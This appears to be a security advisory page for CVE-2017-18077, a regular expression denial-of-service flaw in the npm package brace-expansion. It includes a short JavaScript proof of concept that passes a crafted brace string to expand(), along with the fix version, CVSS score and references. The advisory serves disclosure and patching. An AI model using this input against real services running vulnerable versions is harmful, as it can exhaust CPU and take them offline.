Ecosyste.ms: Advisories

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTgzMmgteGc3Ni00Z3Y2

ReDoS in brace-expansion

Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

Permalink: https://github.com/advisories/GHSA-832h-xg76-4gv6
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTgzMmgteGc3Ni00Z3Y2
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 6 years ago
Updated: about 1 year ago

CVSS Score: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-832h-xg76-4gv6, CVE-2017-18077
References:

• https://nvd.nist.gov/vuln/detail/CVE-2017-18077
• https://github.com/juliangruber/brace-expansion/issues/33
• https://github.com/juliangruber/brace-expansion/pull/35
• https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3
• https://github.com/advisories/GHSA-832h-xg76-4gv6
• https://www.npmjs.com/advisories/338
• https://bugs.debian.org/862712

Repository: https://github.com/juliangruber/brace-expansion
Blast Radius: 45.9

Affected Packages